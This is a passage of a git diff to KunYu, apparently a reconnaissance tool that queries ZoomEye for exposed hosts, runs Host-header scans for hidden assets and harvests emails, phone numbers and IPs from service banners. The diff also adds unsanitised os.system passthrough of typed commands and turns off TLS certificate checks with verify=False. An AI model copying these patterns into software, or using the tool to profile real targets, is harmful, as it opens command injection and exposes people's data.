             return True
         elif command == "exit":
             raise KeyboardInterrupt
+
         elif command == "help":
             console.print(eval(self.module).help)
             return True
         elif command == "set":
             return self.setter(line)
+
+        # show Global Command Info
         elif command == "show":
-            set_info = """Global options:
-                page  <{}>                       Set Search Page
-                dtype <{}>                       Set associated/subdomain search schema
-                btype <{}>                    Set BatchFile schema
-            """.format(self.getter("page"), self.getter("dtype"), self.getter("btype"))
-            console.print(set_info)
+            table = Table(show_header=True, style="bold")
+            for cloumn in COMMAND_INFO:
+                table.add_column(
+                    cloumn, justify="center", overflow="fold"
+                )
+            command_info = [["page", self.getter("page"),"Set Search Page"],
+                            ["dtype", self.getter("dtype"), "Set Associated/Subdomain Search Schema"],
+                            ["timeout", self.getter("timeout"), "Set HTTP Requests Timeout"],
+                            ["btype", self.getter("btype"), "Set BatchFile Search Schema"]]
+            for info in command_info:
+                table.add_row(
+                    str(info[0]), str(info[1]), str(info[2])
+                )
+            console.log("Global Command Info:", style="green")
+            console.print(table)
             return True
         elif command == "exportpath":
             # Return Export Path
             logger.info(setting.OUTPUT_PATH)
             return True
 
+        elif command in OS_SYSTEM:
+            command_os = "{} {}".format(command, line)
+            os.system(command_os)
+            return True
+
         return False
 
     def start(self):
@@ -173,14 +194,15 @@ def start(self):
                 logger.info("kunyu Console mode stopped")
                 break
             except KeyboardInterrupt:
-                logger.info("Console Exit")
+                logger.info("kunyu Console mode stopped")
                 try:
                     os.rmdir(setting.OUTPUT_PATH)
                 except OSError:
                     pass
                 sys.exit(0)
+
             except Exception as err:
-                print(err)
+                console.print(err)
                 continue
 
 
diff --git a/kunyu/core/crash.py b/kunyu/core/crash.py
index c70f8ee..fa1e312 100644
--- a/kunyu/core/crash.py
+++ b/kunyu/core/crash.py
@@ -61,6 +61,7 @@ def request_get():
                     DOMAIN_SEARCH_API,
                     data=self.params,
                     headers=self.headers,
+                    verify=False
                 )
                 self.__check_error(json.loads(resp.text))
                 return resp.json()
@@ -76,7 +77,6 @@ def request_get():
                 for num in range(len(result["list"])):
                     data = convert(result["list"][num])
                     domain_list.append(data.name)
-
             # Remove duplicate domain names
             domain_list = list(set(domain_list))
             console.log("Host Header Scan Domain Total: ", len(domain_list), style="green")
@@ -116,7 +116,7 @@ def _get_file(self, search):
             domain_list = self.__get_zoomeye_domain()
         else:
             for domain in get_domain_file(search):
-                domain_list.append(domain)
+                domain_list.append(str(domain))
             # Return to the domain name combing in the file
             console.log("Host Header Scan Domain Total: ", len(domain_list), style="green")
         return domain_list
@@ -144,6 +144,7 @@ def host_scan(self, search, ip):
         """
         resp = []
         crash_list = []
+        # http and https protocol collision
         protocol = ['http://{}/', 'https://{}/']
         self.params["q"] = search
         domain_list = self._get_file(search)
@@ -153,11 +154,14 @@ def host_scan(self, search, ip):
                 urls = server.format(ip_address)
                 for domain in domain_list:
                     headers = {'Host': domain.strip(),
-                               'User-Agent': random.choice(UA),
-                               'ip': urls
-                               }
+                                'User-Agent': random.choice(UA),
+                                'ip': urls,
+                                }
                     # Concurrent requests through the encapsulated coroutine module
-                    resp.append(grequests.get(urls, headers=headers, timeout=2))
+                    resp.append(grequests.get(
+                        urls, headers=headers, timeout=2, verify=False)
+                    )
+
         res_list = grequests.map(resp)
         for res in res_list:
             try:
@@ -166,8 +170,9 @@ def host_scan(self, search, ip):
                     res.encoding = 'gbk2312'
                     # Get the title of the returned result
                     title = re.findall('<title>(.+)</title>', res.text)
-                    crash_list.append([res.request.headers['ip'], res.request.headers['Host'], title[0]])
-
+                    crash_list.append(
+                        [res.request.headers['ip'], res.request.headers['Host'], title[0]]
+                    )
             except Exception:
                 continue
 
diff --git a/kunyu/core/keyword.py b/kunyu/core/keyword.py
new file mode 100644
index 0000000..290353a
--- /dev/null
+++ b/kunyu/core/keyword.py
@@ -0,0 +1,84 @@
+#!/usr/bin/env python
+# encoding: utf-8
+'''
+@author: 风起
+@contact: onlyzaliks@gmail.com
+@File: keyword.py
+@Time: 2021/11/12 9:23
+'''
+import re
+
+from rich.table import Table
+from rich.console import Console
+
+console = Console(color_system="auto", record=True)
+EMAIL_REGEX = r"([\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+)"
+PHONE_REGEX = r"^1[358]\d{9}$|^147\d{8}$|^179\d{8}$"
+DOMAIN_REGEX = r'<a\s*href=\"(.*?)\"'
+IDENTITY_REGEX = r"[1-9]\d{5}(?:18|19|(?:[23]\d))\d{2}(?:(?:0[1-9])|(?:10|11|12))(?:(?:[0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]"
+IP_ADDRESS_REGEX = r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b"
+DOMAIN_CHECK_REGEX = r'<a\s*href=\"(.*?)\"'
+
+
+class SearchKeyWord:
+    def __init__(self):
+        self.sensitive_params = []
+
+    def __check_email(self, banner):
+        email_mod = re.compile(EMAIL_REGEX)
+        items = email_mod.findall(banner)
+        return items
+
+    # Check whether it is valid phone number
+    def __check_phone(self, banner):
+        phone_mod = re.compile(PHONE_REGEX)
+        items = phone_mod.findall(banner)
+        return items
+
+    """
+        # Check whether it is valid domain address
+        def __check_domain_address(self, banner):
+            domain_mod = re.compile(DOMAIN_REGEX)
+            items = domain_mod.findall(banner)
+            return items
+    """
+
+    # Check whether it is valid ip address
+    def __check_ip_address(self, banner):
+        ip_mod = re.compile(IP_ADDRESS_REGEX)
+        items = ip_mod.findall(banner)
+        return items
+
+    """
+        # Check whether it is valid identity card
+        def __check_identity(self, banner):
+            identity_mod = re.compile(IDENTITY_REGEX)
+            items = identity_mod.findall(banner)
+            return items
+    """
+
+    def get_keyword_sensitive(self, banner):
+        # Obtain email information in the banner
+        for email in self.__check_email(banner):
+            self.sensitive_params.append(email[0])
+
+        # Obtain phone number information in the banner
+        for phone in self.__check_phone(banner):
+            self.sensitive_params.append(phone[0])
+
+        """ 
+            # Obtain domain information in the banner
+            for domain in self.__check_domain_address(banner):
+                self.sensitive_params.append(domain[0])
+
+            # Obtain identity card information in the banner
+            for identity in self.__check_identity(banner):
+                self.sensitive_params.append(identity[0])
+        """
+
+        # Obtain ip address information in the banner
+        for ip in self.__check_ip_address(banner):
+            self.sensitive_params.append(ip)
+
+        if self.sensitive_params:
+            return self.sensitive_params
\ No newline at end of file
diff --git a/kunyu/core/seebug.py b/kunyu/core/seebug.py
index 32f3eab..b6d5cbb 100644
--- a/kunyu/core/seebug.py
+++ b/kunyu/core/seebug.py
@@ -47,10 +47,14 @@ def search(cls, search):
             login_url = "%s?%s" % (SEARCH_API, urlencode(cls.param))
             resp = requests.get(
                 login_url,
-                headers=cls.headers
+                headers=cls.headers,
+                verify=False
             )
             return json.loads(resp.text)
 
+        except KeyboardInterrupt:
+            return
+
         except Exception:
             return logger.error("Failed to get SeeBug vulnerability information")
 
diff --git a/kunyu/core/zoomeye.py b/kunyu/core/zoomeye.py
index c5ae6fa..0486e60 100644
--- a/kunyu/core/zoomeye.py
+++ b/kunyu/core/zoomeye.py
@@ -1,448 +1,553 @@
-#!/usr/bin/env python
-# encoding: utf-8
-'''
-@author: 风起
-@contact: onlyzaliks@gmail.com
-@File: zoomeye.py
-@Time: 2021/6/24 22:18
-'''
-
-import os
-import sys
-import json
-import random
-
-import requests
-from rich.table import Table
-from rich.console import Console
-
-try:
-    import pocsuite3
-except ImportError:
-    sys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.dirname(__file__)), os.path.pardir)))
-from pocsuite3.cli import check_environment, module_path
-from pocsuite3 import set_paths
-from pocsuite3.lib.core.interpreter import PocsuiteInterpreter
-from pocsuite3.lib.core.option import init_options
-
-from kunyu.core import conf
-import kunyu.lib.encode as encode
-from kunyu.config.setting import UA, USER_INFO_API, HOST_SEARCH_API, WEB_SEARCH_API, DOMAIN_SEARCH_API, HOST_SCAN_INFO
-from kunyu.lib.export import export_xls
-from kunyu.lib.batchfile import get_file
-from kunyu.core.crash import HostScan
-from kunyu.core.seebug import Seebug
-from kunyu.utils.log import logger, logger_console
-from kunyu.config.__version__ import __help__, init
-
-console = Console(color_system="auto", record=True)
-
-ZOOMEYE_KEY = conf.get("zoomeye", "apikey")
-ZOOMEYE_TOKEN = conf.get("login", "token")
-
-params = {}
-
-
-class ZoomeyeSearch(object):
-    def __init__(self, method):
-        self.auth = None
-        self.search = None
-        self.page = 1
-        self.method = method
-        self.headers = {
-            "User-Agent": random.choice(UA),
-            "author": "ZoomEye Kunyu"
-        }
-
-    def __call__(self, func):
-        def wrapper(*args, **kwargs):
-            nonlocal func
-            req_list = []
-            login_url = func(self, *args, **kwargs)
-            try:
-                for num in range(int(self.page)):
-                    params['query'], params['page'] = self.search, (num + 1)
-                    req_list.append(self.__request(login_url, data=params, headers=self.headers))
-            except requests.HTTPError as err:
-                logger.warning(err)
-            except requests.exceptions.ConnectionError:
-                logger.error("Network timeout")
-            return req_list
-
-        return wrapper
-
-    def __request(self, login_url, data=None, headers=None):
-        self.__get_login()
-        """"As the request layer,
-            the processed data is received and returned to the original data,
-            which is displayed on the terminal after processing by the presentation layer.
-        """
-        # The API is not available for tourist users
-        if self.method == "GET":
-            resp = requests.get(
-                login_url,
-                data=data,
-                headers=headers,
-                timeout=30,
-                verify=False
-            )
-        else:
-            resp = requests.post(
-                login_url,
-                data=data,
-                headers=headers,
-                timeout=30,
-                verify=False
-            )
-        self.check_status(resp)
-        self.check_error(resp.json())
-        # return query data
-        return json.loads(resp.text)
-
-    # Check return http status code
-    def check_status(self, resp):
-        # check http status code 500 or 503
-        if resp.status_code in [500, 503]:
-            raise requests.HTTPError("ZoomEye Server Error, Status: {}".format(resp.status_code))
-        elif resp.status_code in [401]:
-            logger.error("The token has expired, please re-initialize")
-            print(__help__.format(datil=init))
-            sys.exit(0)
-
-    # Check return error info
-    def check_error(self, resp):
-        if resp.get("error"):
-            raise requests.HTTPError(resp.get("message"))
-
-    def __get_login(self):
-        """"Obtain the user login credentials and use them dynamically.
-            It is recommended to use the API-KEY method to log in,
-            because the user name/password requires an additional HTTP request,
-            so in theory the API-KEY method is more efficient.
-        """
-        if ZOOMEYE_KEY == "None":
-            self.headers["Authorization"] = "JWT %s" % ZOOMEYE_TOKEN
-        else:
-            self.headers["API-KEY"] = ZOOMEYE_KEY
-
-
-# After the SDK public,The interface to get the data.
-@ZoomeyeSearch(method="GET")
-def _dork_search(self, url, search, page):
-    """"The logic layer of ZoomEye processes the requested data
-        and feeds it back to the request layer to obtain the original data
-    """
-    try:
-        if int(page) <= 0 or page is None:
-            raise ArithmeticError
-        self.page = page
-        self.search = search
-        return url
-
-    except ArithmeticError:
-        return logger.warning("Please enter the correct number of queries!")
-    except Exception:
-        return logger.warning("Search for parameter exceptions!")
-
-
-@ZoomeyeSearch(method="GET")
-# Get ZoomEye User Info
-def _user_info(self):
-    return USER_INFO_API
-
-
-# The Display class of the tool
-class ZoomEye:
-    from kunyu.config.setting import ZOOMEYE_FIELDS_HOST, ZOOMEYE_FIELDS_WEB, ZOOMEYE_FIELDS_INFO, ZOOMEYE_FIELDS_DOMAIN
-    from kunyu.utils.convert import convert
-    page = 1
-    dtype = 0
-    btype = "host"
-
-    help = """Global commands:
-        info                                      Print User info
-        SearchHost <query>                        Basic Host search
-        SearchWeb <query>                         Basic Web search
-        SearchIcon <File>/<URL>                   Icon Image search
-        SearchBatch <File>                        Batch search Host
-        SearchCert <Domain>                       SSL certificate Search
-        SearchDomain <Domain>                     Domain name associated/subdomain search
-        EncodeHash <encryption> <query>           Encryption method interface (base64/hex/md5/mmh3)
-        HostCrash <IP> <Domain>                   Host Header Scan hidden assets
-        Seebug <query>                            Search Seebug vulnerability information
-        set <option>                              Set arguments values
-        Pocsuite3                                 Invoke the pocsuite component
-        ExportPath                                Returns the path of the output file 
-        clear                                     Clear the console screen
-        show                                      Show can set options
-        help                                      Print Help info
-        exit                                      Exit KunYu & """
-
-    # ZoomEye Command List
-    Command_Info = ["help", "info", "set", "Seebug", "SearchWeb", "SearchHost", "SearchIcon", "HostCrash", "SearchBatch",
-                    "SearchCert", "SearchDomain", "EncodeHash", "Pocsuite3", "ExportPath", "show", "clear", "exit"]
-
-    def __init__(self):
-        self.fields_tables = None
-
-    def __command_search(self, search, types="host"):
-        """"The raw data obtained is processed and finally displayed on the terminal,
-            which is also one of the most core codes
-            :param search: zoomeye grammar search statement
-            :param types: Dynamically set according to the interface used
-        """
-        table = Table(show_header=True, style="bold")
-        global total, api_url, result, FIELDS, export_host
-        total, num = 0, 0
-        result_type = "matches"
-        export_list = []
-
-        # Gets the API for the call
-        api_url, FIELDS = HOST_SEARCH_API, self.ZOOMEYE_FIELDS_HOST
-        if types == "web":
-            api_url, FIELDS = WEB_SEARCH_API, self.ZOOMEYE_FIELDS_WEB
-        elif types == "domain":
-            result_type = "list"
-            params['q'], params['type'] = search, self.dtype
-            api_url, FIELDS = DOMAIN_SEARCH_API, self.ZOOMEYE_FIELDS_DOMAIN
-
-        try:
-            for cloumn in FIELDS:
-                table.add_column(cloumn, justify="center", overflow="ignore")
-        except Exception:
-            return logger.warning("Please enter the correct field")
-
-        # Get data information
-        for result in _dork_search(api_url, search, self.page):
-            try:
-                total = result['total']
-                webapp_name, server_name, db_name, system_os, language = "", "", "", "", ""
-                for i in range(len(result[result_type])):
-                    num += 1
-                    title, lat, lon = "", "", ""
-                    data = self.convert(result[result_type][i])
-                    if api_url == HOST_SEARCH_API:
-                        if data.portinfo.title:
-                            title = data.portinfo.title[0]
-                        """
-                        if data.geoinfo.location:
-                            lat = data.geoinfo.location.lat
-                            lon = data.geoinfo.location.lon
-                        """
-                        # Set the output field
-                        table.add_row(str(num), data.ip, str(data.portinfo.port), str(data.portinfo.service),
-                                      str(data.portinfo.app), str(data.geoinfo.isp), str(data.geoinfo.country.names.en),
-                                      str(data.geoinfo.city.names.en), str(title), str(data.timestamp).split("T")[0])
-
-                        # Set the exported fields
-                        export_host = [str(num), data.ip, str(data.portinfo.port), str(data.portinfo.service),
-                                       str(data.portinfo.app), str(data.geoinfo.isp), str(data.geoinfo.country.names.en),
-                                       str(data.geoinfo.city.names.en), str(title), str(data.timestamp).split("T")[0]]
-
-                    elif api_url == WEB_SEARCH_API:
-                        # Because of the problem of returning the default value of the field
-                        if data.webapp:
-                            webapp = self.convert(data.webapp[0])
-                            webapp_name = webapp.name
-                        if data.server:
-                            server = self.convert(data.server[0])
-                            server_name = server.name
-                        if data.db:
-                            db = self.convert(data.db[0])
-                            db_name = db.name
-                        if data.language:
-                            language = data.language[0]
-                        if data.system:
-                            system = self.convert(data.system[0])
-                            system_os = system.name
-
-                        # Set the output field
-                        table.add_row(str(num), data.ip[0], str(data.site), str(data.title),
-                                      str(system_os), str(webapp_name), str(db_name),
-                                      str(language), str(server_name), str(data.timestamp).split("T")[0])
-
-                        # Set the exported fields
-                        export_host = [str(num), data.ip[0], str(data.site), str(data.title),
-                                       str(system_os), str(webapp_name), str(db_name),
-                                       str(language), str(server_name), str(data.timestamp).split("T")[0]]
-
-                    elif types == "domain":
-                        # Set the output field
-                        table.add_row(str(num), str(data.name), str(data.ip), str(data.timestamp))
-
-                        # Set the exported fields
-                        export_host = [str(num), str(data.name), str(data.ip), str(data.timestamp)]
-                    export_list.append(export_host)
-
-                if export_list:
-                    export_xls(export_list, FIELDS)
-            except Exception:
-                continue
-
-        # Check if the result set is empty
-        if total > 0:
-            console.log("search result amount:", total, style="green")
-            console.print(table)
-            logger.info("Search information retrieval is completed\n")
-        else:
-            logger.error("The query result is empty\n")
-        return console
-
-    @classmethod
-    def command_info(cls, *args):
-        """ return user info"""
-        table = Table(show_header=True, style="bold")
-        info = cls.convert(_user_info()[0])
-        for column in cls.ZOOMEYE_FIELDS_INFO:
-            table.add_column(column, justify="center", overflow="ignore")
-
-        console.log("User Information:", style="green")
-        table.add_row(str(info.plan), str(info.resources.search), str(info.resources.stats),
-                      str(info.resources.interval))
-        console.print(table)
-        logger.info("User information retrieval is completed\n")
-
-    @classmethod
-    # ZoomEye host search method
-    def command_searchhost(cls, search):
-        return cls.__command_search(cls, search)
-
-    @classmethod
-    # ZoomEye web search method
-    def command_searchweb(cls, search):
-        return cls.__command_search(cls, search, types="web")
-
-    @classmethod
-    # domain name associated / subdomain Search
-    def command_searchdomain(cls, search):
-        return cls.__command_search(cls, search, types="domain")
-
-    @classmethod
-    # ZoomEye batch search IP method
-    def command_searchbatch(cls, filename):
-        """
-            Batch query related result sets by reading the IP address in the file
-            File name only supports txt type
-            :param filename: Accept the IP file path as a parameter
-        """
-        search = ""
-        # Use ZooEye batch query mode,Search: "ip:1.1.1.1 ip:2.2.2.2 ip:3.3.3.3"
-        for ip in get_file(filename):
-            search += "ip:{} ".format(ip)
-        # Determine the type of interface used
-        if cls.btype == "host":
-            return cls.command_searchhost(search)
-
-        return cls.command_searchweb(search)
-
-    @classmethod
-    # ZoomEye SSL Cert Search
-    def command_searchcert(cls, hostname):
-        """
-            Associate assets by calculating the SSL serial number of the domain name
-            :param hostname: Enter the domain name using the HTTPS protocol
-        """
-        if encode.cert_encode(hostname) is not None:
-            return cls.__command_search(cls, "ssl:" + str(encode.cert_encode(hostname)))
-
-    @classmethod
-    # ZoomEye Icon Image Search
-    def command_searchicon(cls, filename):
-        """
-            Calculate the hash through the icon icon to associate related assets
-            According to the input parameters, judge and calculate the ico icon hash of the url or file path
-            :param filename: Enter the specified URL or Icon file path
-        """
-        icon_hash = str(encode.encode_mmh3(filename))
-        if icon_hash != "":
-            logger.info("iconhash:" + icon_hash)
-            return cls.command_searchhost("iconhash:" + icon_hash)
-
-    @classmethod
-    # Encode hex/md5/mmh3/base64 Hash
-    def command_encodehash(cls, args):
-        """
-            Characters can be encrypted by this command
-            Encryption parameters according to the specified encryption method
-            :param args: Obtain the encryption method and the parameters that need to be encrypted
-        """
-        try:
-            command, _, args = args.strip().partition(" ")
-            # Check whether a parameter exists
-            if args == "":
-                raise ArithmeticError
-            command_handler = getattr(encode, "encode_{}".format(command))
-            # Return the encrypted result
-            logger.info("{} : {}".format(
-                command,
-                command_handler(args.strip())
-            ))
-
-        except ArithmeticError:
-            logger.warning("Please specify the encryption mode")
-
-        except Exception as err:
-            logger.warning(err)
-
-    @classmethod
-    # Get SeeBug vulnerability information
-    def command_seebug(cls, search):
-        """
-            Get the historical vulnerabilities of the specified framework
-            You can use this command to query the historical vulnerabilities of related frameworks
-            :param search: Used to obtain parameters for querying related framework vulnerabilities
-        """
-        # Get Number of result sets of vulnerabilities
-        total = Seebug.search(search).get("total")
-        # Get vulnerabilities result
-        data = Seebug.search(search)
-        logger.info("Number of relevant vulnerabilities: {}".format(total))
-        for vuln in data["results"]:
-            vuln = cls.convert(vuln)
-            # Print Result set of framework history vulnerabilities
-            logger_console.info('[{}] - [{}]'.format(vuln.name, vuln.id))
-
-        logger.info("Seebug Search retrieval is completed\n")
-
-    @classmethod
-    # Invoke the pocsuite component
-    def command_pocsuite3(cls, *args, **kwargs):
-        check_environment()
-        set_paths(module_path())
-        init_options()
-        # Set the directory to store the poc
-        poc = PocsuiteInterpreter(os.path.abspath(os.path.dirname(os.path.dirname(__file__)))+"/pocs")
-        poc.start()
-
-    @classmethod
-    def command_hostcrash(cls, args):
-        """
-            HOST Header Crash function,Obtaining hidden Assets
-            You can use the master domain name reverse lookup or file to obtain the domain name list
-            :param args: The IP address and domain name to be queried
-        """
-        try:
-            # Check whether a parameter exists
-            if args == "":
-                raise ArithmeticError
-            # Get args ip and search
-            ip, _, search = args.strip().partition(" ")
-            result_list = HostScan().host_scan(search, ip)
-            # Determines whether the result set is empty
-            if not result_list:
-                return logger.warning("The query result is empty\n")
-            table = Table(show_header=True, style="bold")
-            # Read the list header
-            for column in HOST_SCAN_INFO:
-                table.add_column(column, justify="center", overflow="ignore")
-            # Set output list content
-            for res in result_list:
-                table.add_row(str(res[0]), str(res[1]), str(res[2]))
-            # Output table list to console
-            console.print(table)
-            logger.info("Host Header Scan is completed\n")
-            # End of function execution
-        except ArithmeticError:
-            logger.warning("Please Host IP and Domain\n")
-
-
+#!/usr/bin/env python
+# encoding: utf-8
+'''
+@author: 风起
+@contact: onlyzaliks@gmail.com
+@File: zoomeye.py
+@Time: 2021/6/24 22:18
+'''
+
+import os
+import sys
+import json
+import random
+
+import requests
+import platform
+from rich.table import Table
+from rich.console import Console
+
+try:
+    import pocsuite3
+except ImportError:
+    sys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.dirname(__file__)), os.path.pardir)))
+from pocsuite3.cli import check_environment, module_path
+from pocsuite3 import set_paths
+from pocsuite3.lib.core.interpreter import PocsuiteInterpreter
+from pocsuite3.lib.core.option import init_options
+
+import kunyu.lib.encode as encode
+from kunyu.config.setting import UA, USER_INFO_API, HOST_SEARCH_API, WEB_SEARCH_API, DOMAIN_SEARCH_API, HOST_SCAN_INFO, SEMSITIVE_INFO
+from kunyu.lib.export import export_xls
+from kunyu.lib.batchfile import get_file
+from kunyu.core.crash import HostScan
+from kunyu.core.keyword import SearchKeyWord
+from kunyu.core import conf
+from kunyu.core.seebug import Seebug
+from kunyu.utils.log import logger, logger_console
+from kunyu.config.__version__ import __help__, init
+
+console = Console(color_system="auto", record=True)
+overflow = "fold" if platform.system() == "Darwin" else "ignore"
+
+ZOOMEYE_KEY = conf.get("zoomeye", "apikey")
+ZOOMEYE_TOKEN = conf.get("login", "token")
+
+params = {}
+
+class ZoomeyeSearch(object):
+    def __init__(self, method):
+        self.auth = None
+        self.search = None
+        self.page = 1
+        self.method = method
+        self.headers = {
+            "User-Agent": random.choice(UA),
+            "author": "ZoomEye KunYu"
+        }
+
+    def __call__(self, func):
+        def wrapper(*args, **kwargs):
+            nonlocal func
+            req_list = []
+            login_url = func(self, *args, **kwargs)
+            try:
+                for num in range(int(self.page)):
+                    params['query'], params['page'] = self.search, (num + 1)
+                    req_list.append(self.__request(login_url, data=params, headers=self.headers))
+            except requests.HTTPError as err:
+                logger.warning(err)
+            except requests.exceptions.ConnectionError:
+                logger.error("Network timeout")
+            except KeyboardInterrupt:
+                return
+            return req_list
+
+        return wrapper
+
+    def __request(self, login_url, data=None, headers=None):
+        self.__get_login()
+        """"As the request layer,
+            the processed data is received and returned to the original data,
+            which is displayed on the terminal after processing by the presentation layer.
+        """
+        time = int(GlobalVar.get_timeout_resp())
+        # The API is not available for tourist users
+        if self.method == "GET":
+            resp = requests.get(
+                login_url,
+                data=data,
+                headers=headers,
+                timeout=time,
+                verify=False
+            )
+        else:
+            resp = requests.post(
+                login_url,
+                data=data,
+                headers=headers,
+                timeout=time,
+                verify=False
+            )
+        self.check_status(resp)
+        self.check_error(resp.json())
+        # return query data
+        return json.loads(resp.text)
+
+    # Check return http status code
+    def check_status(self, resp):
+        # check http status code 500 or 503
+        if resp.status_code in [500, 503]:
+            raise requests.HTTPError("ZoomEye Server Error, Status: {}".format(resp.status_code))
+        elif resp.status_code in [401]:
+            logger.error("The token has expired, please re-initialize")
+            print(__help__.format(datil=init))
+            sys.exit(0)
+
+    # Check return error info
+    def check_error(self, resp):
+        if resp.get("error"):
+            raise requests.HTTPError(resp.get("message"))
+
+    def __get_login(self):
+        """"Obtain the user login credentials and use them dynamically.
+            It is recommended to use the API-KEY method to log in,
+            because the user name/password requires an additional HTTP request,
+            so in theory the API-KEY method is more efficient.
+        """
+        if ZOOMEYE_KEY == "None":
+            self.headers["Authorization"] = "JWT %s" % ZOOMEYE_TOKEN
+        else:
+            self.headers["API-KEY"] = ZOOMEYE_KEY
+
+
+# After the SDK public,The interface to get the data.
+@ZoomeyeSearch(method="GET")
+def _dork_search(self, url, search, page):
+    """"The logic layer of ZoomEye processes the requested data
+        and feeds it back to the request layer to obtain the original data
+    """
+    try:
+        if int(page) <= 0 or page is None:
+            raise ArithmeticError
+        self.page = page
+        self.search = search
+        return url
+
+    except ArithmeticError:
+        return logger.warning("Please enter the correct number of queries!")
+    except Exception:
+        return logger.warning("Search for parameter exceptions!")
+
+
+@ZoomeyeSearch(method="GET")
+# Get ZoomEye User Info
+def _user_info(self):
+    return USER_INFO_API
+
+# Set Global variate
+class GlobalVar:
+    timeout_resp = 30
+    def set_timeout_resp(timeout_resp):
+        GlobalVar.timeout_resp = timeout_resp
+
+    def get_timeout_resp(*args):
+        return GlobalVar.timeout_resp
+
+# The Display class of the tool
+class ZoomEye:
+    from kunyu.config.setting import ZOOMEYE_FIELDS_HOST, ZOOMEYE_FIELDS_WEB, ZOOMEYE_FIELDS_INFO, ZOOMEYE_FIELDS_DOMAIN
+    from kunyu.utils.convert import convert
+    raw_data_params = {}
+    sensitive_params = []
+    page = 1
+    dtype = 0
+    btype = "host"
+    timeout = 30
+
+    # Global commands List
+    help = """Global commands:
+        info                                      Print User info
+        SearchHost <query>                        Basic Host search
+        SearchWeb <query>                         Basic Web search
+        SearchIcon <File>/<URL>                   Icon Image search
+        SearchBatch <File>                        Batch search Host
+        SearchCert <Domain>                       SSL certificate Search
+        SearchDomain <Domain>                     Domain name associated/subdomain search
+        EncodeHash <encryption> <query>           Encryption method interface (base64/hex/md5/mmh3)
+        HostCrash <IP> <Domain>                   Host Header Scan hidden assets
+        Seebug <query>                            Search Seebug vulnerability information
+        set <option>                              Set Global arguments values
+        view <ID>                                 Look over banner row data information
+        SearchKeyWord                             Query sensitive information by keyword
+        Pocsuite3                                 Invoke the pocsuite component
+        ExportPath                                Returns the path of the output file
+        clear                                     Clear the console screen
+        show                                      Show can set options
+        help                                      Print Help info
+        exit                                      Exit KunYu & """
+
+    # ZoomEye Command List
+    Command_Info = ["help", "info", "set", "Seebug", "SearchWeb", "SearchHost", "SearchIcon", "HostCrash", "SearchBatch",
+                    "SearchCert", "SearchDomain", "EncodeHash", "Pocsuite3", "ExportPath", "show", "clear", "view", "SearchKeyWord",
+                    "exit"]
+
+    def __init__(self):
+        self.fields_tables = None
+
+    def __command_search(self, search, types="host"):
+        """"The raw data obtained is processed and finally displayed on the terminal,
+            which is also one of the most core codes
+            :param search: zoomeye grammar search statement
+            :param types: Dynamically set according to the interface used
+        """
+        self.raw_data_params.clear()
+        self.sensitive_params.clear()
+        GlobalVar.set_timeout_resp(self.timeout)
+        table = Table(show_header=True, style="bold")
+        global total, api_url, result, FIELDS, export_host
+        result_type = "matches"
+        total, num = 0, 0
+        export_list = []
+
+        # Gets the API for the call
+        api_url, FIELDS = HOST_SEARCH_API, self.ZOOMEYE_FIELDS_HOST
+        if types == "web":
+            api_url, FIELDS = WEB_SEARCH_API, self.ZOOMEYE_FIELDS_WEB
+        elif types == "domain":
+            result_type = "list"
+            params['q'], params['type'] = search, self.dtype
+            api_url, FIELDS = DOMAIN_SEARCH_API, self.ZOOMEYE_FIELDS_DOMAIN
+
+        try:
+            for cloumn in FIELDS:
+                table.add_column(
+                    cloumn, justify="center", overflow=overflow
+                )
+        except Exception:
+            return logger.warning("Please enter the correct field")
+
+        # Get data information
+        for result in _dork_search(api_url, search, self.page):
+            try:
+                total = result['total']
+                webapp_name, server_name, db_name, system_os, language = "", "", "", "", ""
+                for i in range(len(result[result_type])):
+                    num += 1
+                    title, lat, lon = "", "", ""
+                    data = self.convert(result[result_type][i])
+                    if api_url == HOST_SEARCH_API:
+                        if data.portinfo.title:
+                            title = data.portinfo.title[0]
+                        """
+                        if data.geoinfo.location:
+                            lat = data.geoinfo.location.lat
+                            lon = data.geoinfo.location.lon
+                        """
+                        # Set the output field
+                        table.add_row(str(num), data.ip, str(data.portinfo.port), str(data.portinfo.service),
+                                      str(data.portinfo.app), str(data.geoinfo.isp), str(data.geoinfo.country.names.en),
+                                      str(data.geoinfo.city.names.en), str(title), str(data.timestamp).split("T")[0])
+
+                        # Set the exported fields
+                        export_host = [str(num), data.ip, str(data.portinfo.port), str(data.portinfo.service),
+                                       str(data.portinfo.app), str(data.geoinfo.isp), str(data.geoinfo.country.names.en),
+                                       str(data.geoinfo.city.names.en), str(title), str(data.timestamp).split("T")[0]]
+
+                        # Reset the <raw Data Params> element
+                        self.raw_data_params[num] = data.portinfo.banner
+
+                        # Get the sensitive information in the banner
+                        sensitive = SearchKeyWord().get_keyword_sensitive(data.portinfo.banner)
+                        if sensitive: self.sensitive_params.append(sensitive)
+
+                    elif api_url == WEB_SEARCH_API:
+                        # Because of the problem of returning the default value of the field
+                        if data.webapp:
+                            webapp = self.convert(data.webapp[0])
+                            webapp_name = webapp.name
+                        if data.server:
+                            server = self.convert(data.server[0])
+                            server_name = server.name
+                        if data.db:
+                            db = self.convert(data.db[0])
+                            db_name = db.name
+                        if data.language:
+                            language = data.language[0]
+                        if data.system:
+                            system = self.convert(data.system[0])
+                            system_os = system.name
+
+                        # Set the output field
+                        table.add_row(str(num), data.ip[0], str(data.site), str(data.title),
+                                      str(system_os), str(webapp_name), str(db_name),
+                                      str(language), str(server_name), str(data.timestamp).split("T")[0])
+
+                        # Set the exported fields
+                        export_host = [str(num), data.ip[0], str(data.site), str(data.title),
+                                       str(system_os), str(webapp_name), str(db_name),
+                                       str(language), str(server_name), str(data.timestamp).split("T")[0]]
+
+                        # Reset the <raw Data Params> element
+                        self.raw_data_params[num] = data.raw_data
+
+                        # Get the sensitive information in the banner
+                        sensitive = SearchKeyWord().get_keyword_sensitive(data.raw_data)
+                        if sensitive: self.sensitive_params.append(sensitive)
+
+                    elif types == "domain":
+                        # Set the output field
+                        table.add_row(
+                            str(num), str(data.name), str(data.ip), str(data.timestamp)
+                        )
+                        # Set the exported fields
+                        export_host = [str(num), str(data.name), str(data.ip), str(data.timestamp)]
+                    export_list.append(export_host)
+
+                if export_list:
+                    export_xls(export_list, FIELDS)
+            except Exception:
+                continue
+
+        # Check if the result set is empty
+        if total > 0:
+            console.log("search result amount:", total, style="green")
+            console.print(table)
+            logger.info("Search information retrieval is completed\n")
+        else:
